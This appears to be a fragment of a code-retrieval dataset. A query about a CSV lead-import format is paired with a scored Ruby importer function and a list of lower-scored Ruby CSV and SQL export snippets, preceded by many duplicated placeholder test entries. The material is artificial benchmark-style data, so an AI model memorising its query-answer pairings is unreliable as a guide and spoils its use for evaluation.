"" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" }, { "docid": "72fd36c52f9358823fcd80b429120869", "score": "0.6208487", "text": "def test_truth\n assert true\n end", "title": "" } ]
3f11fcaf76b5a593cecb27077b1eceb4
Sample Format "Source","First Name","Last Name","Gender","Company Name","Phone Number","Address","City", "State","ZIP code","ZIP+4","database name","File Date","id","Production Date"
[ { "docid": "bc11b2e9b9153fca3de04a1d77ad7887", "score": "0.49348426", "text": "def import\n CSV.foreach(@file.path, :converters => :all, :return_headers => false, :headers => :first_row) do |row|\n source, first_name, last_name, _, company, phone, *address = *row.to_hash.values\n\n street, city, state, zip, _ = *address\n address = Address.new(:street1 => street, :city => city, :state => state, :zipcode => zip)\n\n lead = Lead.new(:source => source, :first_name => first_name, :last_name => last_name,\n :company => company, :phone => phone)\n\n lead.first_name = \"FILL ME\" if lead.first_name.blank?\n lead.last_name = \"FILL ME\" if lead.last_name.blank?\n lead.access = \"Private\"\n lead.addresses << address\n\n lead.assignee = @assigned if @assigned.present?\n\n lead.save!\n end\n end", "title": "" } ]
[ { "docid": "b979b052396152092ced4b0da7d4f9e3", "score": "0.5864022", "text": "def column_names\n\t\t@validated_gets.map{|f| f[:external]} + [\"usd_2009\", \"usd_current\", \"count\", \"min_year\", \"max_year\"]\n\tend", "title": "" }, { "docid": "bd71e0971f36358cdb02abb27e287d73", "score": "0.571785", "text": "def import_input_data(data)\n\n # clear all the old data\n #InputRecord.delete_all\n\n # grab the table out of the data file\n table = /<table.*?>(.*)<\\/table>/im.match(data.squish)\n # split into array rows based on <tr></tr> and do some cleanup\n tabledata = table[1].gsub(/\\&nbsp;/,\" \").gsub(/ </,\"<\").gsub(/> /,\">\").gsub(/<b>|<\\/b>|<img.*?>|<\\/img>|<span.*?>|<\\/span>|<td.*?>|<a .*?>|<\\/a>/,\"\").scan(/<tr.*?>.*?<\\/tr>/im)\n # split by columns and remove extraneous tags\n tabledata.map!{ |row| row.gsub(/<tr.*?>/,\"\").gsub(/<\\/td><\\/tr>/,\"\").force_encoding(\"UTF-8\").gsub(/\\u{a0}/,\"\").split(\"</td>\")}\n\n data_columns = {\n \"Acronym\" => :acronym,\n \"Title\" => :title,\n \"Organization\" => :organization,\n \"Department\" => :department,\n \"Agency\" => :agency,\n \"RFP #\" => :rfp_number,\n \"Solicitation #\" => :rfp_number,\n \"Program Value\" => :program_value,\n \"Value($k)\" => :program_value,\n \"RFP Date\" => :rfp_date,\n \"Solicitation Date\" => :rfp_date,\n \"Status\" => :status,\n \"User List\" => :user_list,\n \"Project Award Date\" => :project_award_date,\n \"Projected Award Date\" => :project_award_date,\n \"Opportunity Id\" => :input_opportunity_number,\n \"Opp Id\" => :input_opportunity_number,\n \"Contract Type\" => :contract_type,\n \"Contract Type (Combined List)\" => :contract_type_combined,\n \"Primary Service\" => :primary_service,\n \"Contract Duration\" => :contract_duration,\n \"Last Updated\" => :last_updated,\n \"Competition Type\" => :competition_type,\n \"NAICS\" => :naics,\n \"Primary State of Perf.\" => :primary_state_of_performance,\n \"Summary\" => :summary,\n \"Comments\" => :comments,\n \"Latest News\" => :comments,\n \"DOD/Civil\" => :dod_civil,\n \"Incumbent\" => :incumbent,\n \"Contractor\" => :incumbent,\n \"Contractor (Combined List)\" => :contractor_combined,\n \"Incumbent Value\" => :incumbent_value,\n \"Contract Value($k)\" => :incumbent_value,\n \"Incumbent Contract #\" => :incumbent_contract_number,\n \"Contract Number\" => :incumbent_contract_number,\n \"Incumbent Award Date\" => :incumbent_award_date,\n \"Contract Award Date\" => :incumbent_award_date,\n \"Incumbent Expire Date\" => :incumbent_expire_date,\n \"Contract Expire Date\" => :incumbent_expire_date,\n \"Priority\" => :priority,\n \"Vertical\" => :vertical,\n \"Vertical (Combined List)\" => :vertical_combined,\n \"Segment\" => :segment,\n \"Segment (Combined List)\" => :segment_combined,\n \"Key Contacts\" => :key_contacts\n }\n\n # figure out which input columns map to which data columns\n keys = []\n cols = {}\n tabledata[0].each_index do |column|\n keys[column] = data_columns[tabledata[0][column].strip]\n cols[data_columns[tabledata[0][column]]] = column\n# puts \"found #{keys[column]} in #{cols[data_columns[tabledata[0][column]]]}\"\n end\n\n record_count = 0\n\n # load the data\n for row in 1..(tabledata.length-1) # for each row (except the header row)\n# puts \"loading row #{row}\"\n opportunity_number_column = cols[:input_opportunity_number]\n opportunity_number = tabledata[row][opportunity_number_column]\n record = InputRecord.find_or_create_by_input_opportunity_number(opportunity_number) # get the record or make a new one\n keys.each_index do |column| # for each column in the input file, update the attribute\n case keys[column]\n when :title #need special processing for title to split URL from actual title\n if tabledata[row][column] =~ /<a/\n data = /<a href=\"(.*?)\">(.*?)<\\/a>/i.match(tabledata[row][column])\n record.input_url = data[1] unless data[1].nil?\n record.title = data[2] unless data[2].nil?\n else\n record.title = tabledata[row][column]\n end\n when :department\n @dept = tabledata[row][column]\n when :agency\n if tabledata[row][column].nil?\n record.send(\"organization=\", \"#{@dept}\")\n else\n record.send(\"organization=\", \"#{@dept}/#{tabledata[row][column]}\")\n end\n when :rfp_date, :project_award_date, :last_updated, :incumbent_award_date, :incumbent_expire_date\n record.send(\"#{keys[column]}=\",GovwinIQ.fix_input_date(tabledata[row][column]))\n else\n record.send(\"#{keys[column]}=\", tabledata[row][column]) unless keys[column].nil?\n end\n end\n record.save!\n record_count += 1\n end\n\n return record_count\n end", "title": "" }, { "docid": "8402d630df66154847bb8551bc43ece9", "score": "0.5425304", "text": "def read_data(filename)\n data = File.readlines(filename).map{|line| line.chomp.split(\"\\t\"). map{|field| field == \"\" ? nil : field}}\n data.map do |line|\n {:district => line[0], :name => line[1], :sponsorship => line[2], :phone1 => line[3], :phone2 => line[4], :email => line[5]}\n end\nend", "title": "" }, { "docid": "6f3131925eb3c4c2d8a2320cdb2d066e", "score": "0.5413818", "text": "def csv_data\n cols = {names: [], titles: []}\n resource_class.columns.map do |col|\n cols[:names].push col.name\n end\n cols[:titles] = titleize(cols[:names])\n cols\n end", "title": "" }, { "docid": "43a2f9ab85d33a79999d90c93755b29e", "score": "0.54063433", "text": "def export_header_str\n\n header_member_strs = [t('activerecord.attributes.shf_application.contact_email'),\n t('activerecord.attributes.user.email'),\n t('activerecord.attributes.shf_application.first_name'),\n t('activerecord.attributes.shf_application.last_name'),\n t('activerecord.attributes.user.membership_number'),\n t('activerecord.attributes.user.date_member_packet_sent'),\n t('activerecord.attributes.shf_application.state'),\n t('admin.export_ansokan_csv.date_state_changed'),\n t('activerecord.models.business_category.other'),\n t('activerecord.models.company.one'),\n t('admin.export_ansokan_csv.member_fee_paid'),\n t('admin.export_ansokan_csv.member_fee_expires'),\n t('admin.export_ansokan_csv.branding_fee_paid'),\n t('admin.export_ansokan_csv.branding_fee_expires'),\n t('activerecord.attributes.address.street'),\n t('activerecord.attributes.address.post_code'),\n t('activerecord.attributes.address.city'),\n t('activerecord.attributes.address.kommun'),\n t('activerecord.attributes.address.region'),\n t('activerecord.attributes.address.country'),\n ]\n\n out_str = ''\n\n out_str << header_member_strs.map { |header_str| \"'#{header_str.strip}'\" }.join(',')\n\n out_str << \"\\n\"\n\n end", "title": "" }, { "docid": "ce260f0490523a027301e0dcda3f9ea6", "score": "0.53938025", "text": "def required_csv_fields\n [:email, :name]\n end", "title": "" }, { "docid": "c5deb92ce90a569203b58bca1956a30a", "score": "0.53936046", "text": "def table_csv_string(options = {})\n opt = {\n :klass => nil,\n :header_row => true\n }.merge!(options)\n str = ''\n \n return false if !opt[:klass]\n\n klass_name = opt[:klass].name\n tbl = ActiveSupport::Inflector.tableize(opt[:klass].name.to_s)\n\n cols = []\n sql = ''\n\n if klass_name == \"Person\" \n cols = %w(id last_name first_name middle_name login)\n else\n cols = opt[:klass].columns.map(&:name) \n end\n\n cols_str = cols.join(\", \")\n\n case opt[:klass].name\n when \"Person\"\n sql = \"SELECT #{cols_str} FROM people p INNER JOIN people_projs pp on p.id = pp.person_id WHERE pp.proj_id = #{self.id};\"\n when \"Ref\"\n cols_str = cols.collect{|c| \"r.#{c}\"}.join(\", \") # refs shared across projects, be more explicit for the join table\n sql = \"SELECT #{cols_str} FROM refs r INNER JOIN projs_refs pr on r.id = pr.ref_id WHERE pr.proj_id = #{self.id};\"\n when \"TaxonName\"\n sql = \"SELECT #{cols_str} FROM taxon_names WHERE #{self.sql_for_taxon_names}\"\n when \"Author\"\n sql = \"SELECT #{cols_str} FROM authors a WHERE a.ref_id IN (SELECT r.id FROM refs r INNER JOIN projs_refs pr on r.id = pr.ref_id WHERE pr.proj_id = #{self.id})\"\n when \"ChrState\"\n sql = \"SELECT #{cols_str} FROM chr_states cs WHERE cs.chr_id IN (SELECT chrs.id from chrs WHERE chrs.proj_id = #{self.id})\" \n # when \"Identifier\"\n # sql = \"SELECT #{cols_str} FROM identifiers si WHERE si.specimen_id IN (SELECT specimens.id from specimens WHERE specimens.proj_id = #{self.id})\"\n when \"SpecimenDetermination\"\n sql = \"SELECT #{cols_str} FROM specimen_determinations sd WHERE sd.specimen_id IN (SELECT specimens.id from specimens WHERE specimens.proj_id = #{self.id})\"\n\n else\n sql = \"SELECT #{cols_str} FROM #{tbl}\" \n end\n\n # add the project level restrictions if they exist\n sql << \" WHERE proj_id = #{self.id}\" if opt[:klass].columns.collect{|c| c.name}.include?(\"proj_id\")\n\n # build the str\n str << cols.join(\"\\t\") if opt[:header_row]# the header row\n str << \"\\n\"\n\n ActiveRecord::Base.connection.select_rows(sql).each do |row| \n # not filtering for tab characters here, likely should\n str << row.collect{|c| c == nil ? nil : c.gsub(/\\n|\\r\\n|\\r/, '\\n')}.join(\"\\t\") + \"\\n\"\n end\n str\n end", "title": "" }, { "docid": "0f68000041f498f028b8157b4e291d20", "score": "0.53871614", "text": "def parse(path, source)\n self.contacts = []\n self.success = true\n reader = CSV.open(path, 'r')\n header_row = reader.shift\n return unless find_column_indexes(header_row)\n \n reader.each do |columns| \n c = Contact.new\n p columns\n phone_number = columns[ self.field_indexes[:phone_number] ] \n self.skipped_rows += 1\n next if phone_number == '' or phone_number == nil\n c.phone_number = phone_number.gsub( /\\D/, '')\n c.first_name = columns[ self.field_indexes[:first_name] ]\n c.last_name = columns[ self.field_indexes[:last_name] ] \n c.source_id = columns[ self.field_indexes[:source_id] ]\n c.email = columns [ self.field_indexes[:email] ]\n c.source = source\n self.contacts.push(c)\n end\n\n reader.close\n return contacts\n end", "title": "" }, { "docid": "8d42f98f34e900c3a3fef0ff4e108c75", "score": "0.5374152", "text": "def import_details\n report.attributes\n .select { |name, _| name['_rows'] }\n .select { |_, instances| instances.size > 0 }\n .map { |bucket, instances| translate(\"buckets.#{bucket}\", size: instances.size, count: instances.size) }\n .join(\", \")\n end", "title": "" }, { "docid": "65c897e15e95f5c0a1919afbe5530f80", "score": "0.5367633", "text": "def import_csv_full\n \n end", "title": "" }, { "docid": "3640c36bccb2d9af61ae7111b3c032f4", "score": "0.5366741", "text": "def get_records_format_data(class_name, fields, condition = nil)\n ret = []\n ret.push([\"\",\"\"])\n class_name.find(:all).each do |rec|\n tmp = \"\"\n fields[1..fields.size-1].each do |field|\n tmp += \" \" if tmp.length > 0\n tmp += rec[field]\n end\n ret.push([rec[fields[0]], tmp])\n end\n return ret\n end", "title": "" }, { "docid": "071bea3da5d653f6a9a82a95c69299fd", "score": "0.5339998", "text": "def csv_data\n sql = Utils.setup_basic_filters(SqlAssembler.new, @params.merge('site_id' => @site[:id]))\n sql.set_select 'SELECT package_name, success, title, digitool_id, islandora_pid, content_model, time_started, time_finished, bytes_ingested FROM islandora_packages'\n sql.set_order 'ORDER BY id DESC'\n return sql.execute\n end", "title": "" }, { "docid": "7accf22a7988a23ca518b29e7e4a803d", "score": "0.5327641", "text": "def hash_from source, line\n line_elements = line.split(source[:delim]).map(&:strip)\n Hash[source[:headers].zip(line_elements)].tap do |h|\n h[:birth_date] = Date.strptime( h[:birth_date].to_s.gsub('-','/'), '%m/%d/%Y' )\n end\n end", "title": "" }, { "docid": "14dc933807132c80f261659c1ea08a54", "score": "0.53146136", "text": "def load_row_data(headers, row)\n # Hash of field values\n fields = {}\n\n # List of alternate spellings found in current row\n alt_spellings = []\n\n # Related words for current row\n see_also = []\n\n # List of hashes of source data for current row\n sources = []\n\n # Loop through the cells in the row\n row.each_with_index do |field_value, col_index|\n # Skip empty cells\n next unless field_value\n\n # Remove leading/trailing whitespace from field value\n field_value = field_value.strip\n\n # Get current header\n header = headers[col_index]\n\n if header.start_with? 'headword'\n headword_data = headword_data field_value\n fields = fields.merge headword_data\n next\n end\n\n if header.start_with? 'altspelling'\n alt_spellings << field_value\n next\n end\n\n if header.start_with? 'source'\n match = self.class.source_header_regex.match header\n\n # Get source number i.e. source1\n source_num = match[1].to_i - 1 # Subtract 1 since CSV vals are 1-based, and arrays are 0-based\n\n # Ref/original_ref/date/place\n source_component = match[2]\n\n # Find or create source record for current source\n current_source = sources[source_num] ||= {}\n\n # Add current field to source obj\n current_source[source_component.to_sym] = field_value\n current_source[:source_num] = source_num\n next\n end\n\n if header == 'see also'\n current_see_also = see_also_from_string field_value\n see_also += current_see_also\n next\n end\n\n # No match, so just add as is\n fields[header.to_sym] = field_value\n end\n\n # Fields that are handled specially\n special_fields = { alt_spellings: alt_spellings, see_also: see_also, sources: sources }\n\n # Add special fields to all others\n all_fields = special_fields.merge fields\n\n all_fields\n end", "title": "" }, { "docid": "b9bc12ff6b3f898dae8cb8ead2602309", "score": "0.5269313", "text": "def mark_csv_headers\n \"Username,Name,Tutorial,Task,ID,Student's Last Comment,Your Last Comment,Status,New Grade,New Comment\"\n end", "title": "" }, { "docid": "328a14c21872122fc86e081d1bba73ec", "score": "0.52642566", "text": "def extract_regional_data\n infile, result, *others = params\n\n country_part = \"\"\n country_part << \"#{others[0]}-\" if others[0]\n country_part << \"#{others[1]}-\" if others[1]\n out_file_name = \"#{country_part}spares-and-repairs.csv\"\n\n puts; print \"Extracting rows of #{country_part.chop}\"\n\n row_filter = \"BEGINs18=='#{others[0]}'||s18=='RE_GEBIET'END\"\n\n Sycsvpro::Extractor.new(infile: infile,\n outfile: out_file_name,\n rows: row_filter).execute\n\n puts; puts \"You can find the result in #{out_file_name}\"\nend", "title": "" }, { "docid": "c5027c58c84cb2090934ced24e54c011", "score": "0.52634776", "text": "def csv_header\n [\n 'project key',\n 'key',\n 'summary',\n 'description',\n 'issue type',\n 'epic name'\n ]\n end", "title": "" }, { "docid": "10b6203182a410ca88789b34570170ae", "score": "0.52595043", "text": "def importDataSource(file, *sync_column)\n\n\nend", "title": "" }, { "docid": "4443dfbd09cb43fb0e9178e71eed542a", "score": "0.52585447", "text": "def csv_attributes\n [\n \"Nimi\" => \"name\",\n \"Järjestys\" => \"numbering_order\",\n \"Lyhenne\" => \"shorten\",\n \"Ehdokkaita\" => :candidate_count,\n \"Vaalirengas\" => :coalition_name\n ]\n end", "title": "" }, { "docid": "d6d1374817d3a3a22c4356203d1d441f", "score": "0.52411014", "text": "def header_build\n header = \"customer name\" + @delimiter + \"gender\" + @delimiter\n header += \"age\" + @delimiter + \"birthday\" + @delimiter + \"cpf\" + @delimiter + \"id\" + @delimiter\n header += \"state\" + @delimiter + \"city\" + @delimiter + \"street\" + @delimiter + \"zip_code\" + @delimiter\n header += \"company name\" + @delimiter + \"industry\" + @delimiter + \"cnpj\"\n header\nend", "title": "" }, { "docid": "cfd04fc0e60a2ad6cfe9d18b497dd2fb", "score": "0.5231373", "text": "def required_csv_headers\n [:email, :name]\n end", "title": "" }, { "docid": "7286f7b49c85e4fa9d17f9ca87f05331", "score": "0.5219941", "text": "def parse_file(src, dest)\n create_table(dest)\n\n puts \"***** Importing #{dest}\"\n\n count = 0\n# names = File.foreach(src).collect do |line|\n names = open(src).collect do |line| \n count += 1\n if count % 2000 == 0\n puts count\n end\n\n data = line.split\n\n name = data.first.capitalize\n freq = data[2].to_f\n\n name = if dest == \"surname\"\n cleanup_surname(name)\n else\n cleanup_firstname(name)\n end\n\n {:name => name, :freq => freq}\n end\n\n puts \"loading into db\"\n\n # remove any existing records\n @db[dest.to_sym].truncate\n\n # insert!\n @db[dest.to_sym].multi_insert(names)\n end", "title": "" }, { "docid": "05fe8967ccf3970528624202c3f95270", "score": "0.51864743", "text": "def define_csv_format(options={})\n \n ###############################\n # QUALITIES OF INPUT CSV FILE\n \n # indicate which columns contain valid data\n # leftmost column is 0\n @data_columns = [0,4,8]\n \n # number of lines per group in input file\n @num_lines_per_linegroup = 5\n \n # indicate what values per row\n # should be 0 to @num_lines_per_linegroup-1\n @input_data_rows = {0 => :name,\n 1 => :elder,\n 2 => :address,\n 3 => :city_state_zip, # occasionally this is more of the address\n 4 => :extra, # occasionally this is the city/state/zip! \n }\n \n # Output data fields\n # Used as data for Google Maps,\n # and used to access data itself via keys\n @output_fields = {:name => \"Name\", # key matches @input_data_rows\n :elder => \"Elder\", # key matches @input_data_rows\n :address => \"Address\", # key matches @input_data_rows\n :city_state_zip => \"City_State_Zip\", # key matches @input_data_rows\n :city => \"City\", # generated from city_state_zip above\n :state => \"State\", # generated from city_state_zip above\n :zip => \"Zip\", # generated from city_state_zip above\n :area => \"Area\", # generated based on zip code\n }\n \n # Hash here used to give warning if someone is assigned to wrong elder!\n # also should match data input -- eventually want this to come from external file?\n @elders = [\"Daniel Hadad\",\n \"Mark De Young\",\n \"Ernie Johnson\",\n \"Joshua Konkle\",\n \"Charles Whitsel\",\n \"Ethan Cruz\",\n \"Ross Davis\",\n \"Don Hilsberg\",\n \"Paul Hunt\",\n \"Gary Jordan\",\n \"Tim Horn\",\n \"Kelly Holligan\",\n \"Steve Hutton\",\n \"John Ritchie\",\n ]\n \n # extra list of names to help find elders themselves in the database (need to use hash above instead...)\n # or break down the name to remove spouse name\n @elders2 = [\"Dan Hadad\",\n ]\n \n # if needing to sub elder in the data\n # format: old_elder => new_elder\n @elder_sub = {\n }\n \n ###############################\n \nend", "title": "" }, { "docid": "a8c09c472fb139f412b3265846fab758", "score": "0.5183948", "text": "def insert_customer_data\n infile, result, *others = params\n\n outfile = \"#{File.basename(infile, '.*')}-with-customers.csv\"\n source = others[0]\n\n puts; print \"Inserting customers from #{source} into #{infile}\"\n\n Sycsvpro::Join.new(infile: infile,\n outfile: outfile,\n source: source,\n cols: \"0,3;0,3\",\n joins: \"4=19;4=20\",\n cols: \"1,2;1,2\",\n joins: \"0=19;0=20\",\n pos: \"20,21;23;24\",\n insert_header: \"OI_EK_NAME,OI_EK_LAND;OI_AG_NAME,OI_AG_LAND\").execute\n\n puts; puts \"You can find the result in #{outfile}\"\nend", "title": "" }, { "docid": "e7fddb0a8b3020db43664fe4739d2e22", "score": "0.5172557", "text": "def build_csv(file_name)\n\t\t\t\t\t\tarr = [\"Location URN\", \"Email List\"]\n\t\t\t\t\t\t\t\tCSV.open(file_name, \"wb\") do |csv|\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcsv << arr\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tend\nend", "title": "" }, { "docid": "a8cbeda40ecafae56e9239168cc516a1", "score": "0.5164414", "text": "def import_csv_smart\n \n end", "title": "" }, { "docid": "0f4a48b18d3fded5e228d29b6ca5722e", "score": "0.51494014", "text": "def format_source(source); end", "title": "" }, { "docid": "4861b31a2aa52bcee4f08832d0c59aa2", "score": "0.51362604", "text": "def import\n CSV.foreach(@file.path, :converters => :all, :return_headers => false, :headers => :first_row) do |row|\n campaign_id, source, tag, created_at, first_name, last_name,\n email, phone, company, title, status, background_info, comments,\n street1, street2, city, state, zip, country = *row.to_hash.values\n\n #TODO: implement smarter_csv and/or resque\n # https://github.com/tilo/smarter_csv\n # https://github.com/resque/resque\n\n # Rails.logger.info \"XXXXXXXX created_at#{created_at}\"\n\n if @make_contact\n # Don't Allow Duplicates\n contact = Contact.find_or_initialize_by_first_name_and_last_name_and_email(\n first_name,\n last_name,\n email\n ).tap do |contact|\n contact.user_id = @assigned.id,\n contact.source = source,\n contact.first_name = first_name,\n contact.last_name = last_name,\n contact.email = email,\n contact.phone = phone,\n # contact.company = company,\n contact.title = title,\n # contact.status = status,\n contact.background_info = process_bg_info(contact.background_info, background_info),\n contact.created_at = created_at.to_time rescue Time.current\n end\n contact.save!\n\n contact.first_name = \"INCOMPLETE\" if contact.first_name.blank?\n contact.last_name = \"INCOMPLETE\" if contact.last_name.blank?\n # contact.access? = \"Private | Public\"\n contact.access = Setting.default_access\n contact.assignee = @assigned if @assigned.present?\n contact.tag_list.add(tag)\n contact.add_comment_by_user(comments, @assigned)\n\n contact.save!\n\n #TODO: Better validation on address fields.\n if zip\n contact.business_address = Address.new(:street1 => street1, :street2 => street2, :city => city, :state => state, :zipcode => zip, :country => country, :address_type => \"Business\")\n else\n puts \"INCOMPLETE ADDRESS\"\n end\n contact.save!\n\n #\n if contact.account_contact.nil?\n\n if company\n account_name = company\n else\n account_name = contact.first_name + ' ' + contact.last_name + ' (Individual)'\n end\n\n #TODO: rails 4 Account.find_or_initialize_by(name: account_name)\n account = Account.find_or_initialize_by_name(account_name).tap do |account|\n account.user_id = @assigned.id\n account.assignee = @assigned if @assigned.present?\n account.access = contact.access\n account.category = 'customer'\n end\n account.save!\n\n contact.account_contact = AccountContact.new(:account => account, :contact => contact)\n\n # Rails.logger.info \"XXXXXXXX ACCOUNT CONTACT CREATED! #{contact.account_contact.inspect}\"\n\n # contact_account = { account: { id: account.id }, access: contact.access }\n # @account, @opportunity, @contact = contact.promote(contact_account)\n # contact = Contact.find(@contact)\n end\n\n # Rails.logger.info \"XXXXXXXX CONTACT CREATED! #{contact.inspect}\"\n\n else\n\n # Allow Duplicates\n # lead = Lead.new(\n # :user_id => @assigned.id,\n # :campaign_id => campaign_id.to_i,\n # :source => source,\n # :first_name => first_name,\n # :last_name => last_name,\n # :email => email,\n # :phone => phone,\n # :company => company,\n # :title => title, :status => status,\n # :background_info => background_info,\n # :created_at => created_at.to_time\n # )\n\n\n #TODO: rails 4 Lead.find_or_initialize_by(email: email) without tap\n # Don't Allow Duplicates\n lead = Lead.find_or_initialize_by_first_name_and_last_name_and_email(\n first_name,\n last_name,\n email\n ).tap do |lead|\n lead.user_id = @assigned.id,\n lead.campaign_id = campaign_id.to_i,\n lead.source = source,\n lead.first_name = first_name,\n lead.last_name = last_name,\n lead.email = email,\n lead.phone = phone,\n lead.company = company,\n lead.title = title,\n lead.status = status,\n lead.background_info = process_bg_info(lead.background_info, background_info),\n lead.created_at = created_at.to_time rescue Time.current\n end\n lead.save!\n\n lead.first_name = \"INCOMPLETE\" if lead.first_name.blank?\n lead.last_name = \"INCOMPLETE\" if lead.last_name.blank?\n\n # lead.access? = \"Private | Public\"\n lead.access = Setting.default_access\n lead.assignee = @assigned if @assigned.present?\n lead.tag_list.add(tag)\n lead.add_comment_by_user(comments, @assigned)\n lead.save!\n\n #TODO: Better validation on address fields.\n if zip\n lead.business_address = Address.new(:street1 => street1, :street2 => street2, :city => city, :state => state, :zipcode => zip, :country => country, :address_type => \"Business\")\n else\n puts \"INCOMPLETE ADDRESS\"\n end\n lead.save!\n\n end\n end\n\n\n end", "title": "" }, { "docid": "b6044e1d3af35097e99c281dd96bf211", "score": "0.5118752", "text": "def non_standardized_header(row)\n @header=row.split(/\\s{2}+/).reject{|a|a.empty?} \n @header[1].insert(8,'--')\n @header[1]=@header[1].split(/--/)\n @header.insert(1,'Incep Date')\n @header=@header.flatten\n end", "title": "" }, { "docid": "b5b0d940ad0dcc55f3f11e1d79155530", "score": "0.511795", "text": "def build_source_array\n @source_array = @survey_version.sources\n @source_array.concat(@survey_version.display_fields.collect {|df| [\"#{df.id},#{df.type}\", df.name + \"(display field)\"]})\n end", "title": "" }, { "docid": "afbe323f42515d92beb5d82ab120a317", "score": "0.51161045", "text": "def csv_columns\n column_definitions = []\n column_definitions << ['Full Name', 'item.full_name', 100]\n column_definitions << ['Last Name', 'item.last_name.capitalize', 100]\n column_definitions << ['First Name', 'item.first_name.capitalize', 100]\n column_definitions << ['Email', 'item.email.downcase', 150]\n column_definitions << ['Address', 'item.user_profile.address', 150]\n column_definitions << ['Address2', 'item.user_profile.address2']\n column_definitions << ['City', 'item.user_profile.city.capitalize', 100]\n column_definitions << ['State', 'item.user_profile.state.capitalize']\n column_definitions << ['Zipcode', 'item.user_profile.zipcode']\n column_definitions << ['Country', 'item.user_profile.country.code']\n column_definitions << ['Confirmed on', 'item.confirmed_at.to_date', 75, { type: 'DateTime', numberformat: 'd mmm, yyyy' }]\n\n column_definitions\n end", "title": "" }, { "docid": "7cb274e6bb201be85b6c68698d38c330", "score": "0.5112029", "text": "def import(params)\r\n if lines = params[:contact][:import_text]\r\n lines = params[:contact][:import_text].gsub(\"\\n\", '').split(\"\\r\")\r\n if lines.count >= 2\r\n header_labels = lines[0].split(',')\r\n lines.delete_at(0) # remove the header\r\n\r\n lines.each do |line|\r\n fields = line.split(',') # get fields\r\n\r\n if fields.count >= 5 # skip blank lines and short data\r\n name = fields[0].split(' ') # split name into first name and last name\r\n first_name = name[0] # address books can be a mess, so we're just assuming first name is first.\r\n last_name = '' # Assume no last name is provided.\r\n\r\n # If the name is something like \"John Van Burk\" then the first name will be \"John\" and the last name \"Van Burk\"\r\n if name.count >= 2\r\n last_name = name[1..-1].join(' ') # concat rest of name data.\r\n end\r\n\r\n # The google contacts export will have phone numbers like this:\r\n # Home,<home phone #>,\r\n # Work,<work phone #>,\r\n # Mobile,<cell phone #>,\r\n # If there's multiple phone #'s for a category, they will appear as <phone #> ::: <phone #> (yes, literally \" ::: \" with the spaces.)\r\n # Example:\r\n # Emma,,,Emma,,,,,,,,,,,,,,,,,,,,,,,* My Contacts,,,Home,5183290085,Mobile,5188211924 ::: 8577531441,,,,\r\n\r\n work_phone = get_phone('Work', header_labels, fields)\r\n home_phone = get_phone('Home', header_labels, fields)\r\n cell_phone = get_phone('Mobile', header_labels, fields)\r\n email = fields[header_labels.index('E-mail 1 - Value')]\r\n website = fields[header_labels.index('Website 1 - Value')]\r\n\r\n contact = Contact.new({user_id: session[:user_id], first_name: first_name, last_name: last_name, home_phone: home_phone, work_phone: work_phone, cell_phone: cell_phone, email: email, website: website})\r\n contact.save()\r\n end\r\n end\r\n else\r\n flash[:notice] = 'Please provide some data besides the header to import.'\r\n end\r\n else\r\n flash[:notice] = 'Please provide some data to import.'\r\n end\r\n\r\n nil\r\n end", "title": "" }, { "docid": "5d449f799a0af3a15c4de57789fdc70f", "score": "0.5105307", "text": "def import_from_csv(file_name)\r\n #implementation goes here\r\n csv_text = File.read(file_name)\r\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\r\n # #8 iterate over table rows, create hash for each, then convert to Entry using 'add_entry' method\r\n csv.each do |row|\r\n row_hash = row.to_hash\r\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\r\n end #end csv.each loop\r\n end", "title": "" }, { "docid": "8d06bd38ec3e2cb54f0103aea8b36930", "score": "0.51039344", "text": "def parse!\n self.fields = []\n\n # split transactions, each transaction starts with a colon after a linebreak\n # do not remove line breaks within transaction lines as they are used to determine field details\n # e.g. :61:-supplementary\n 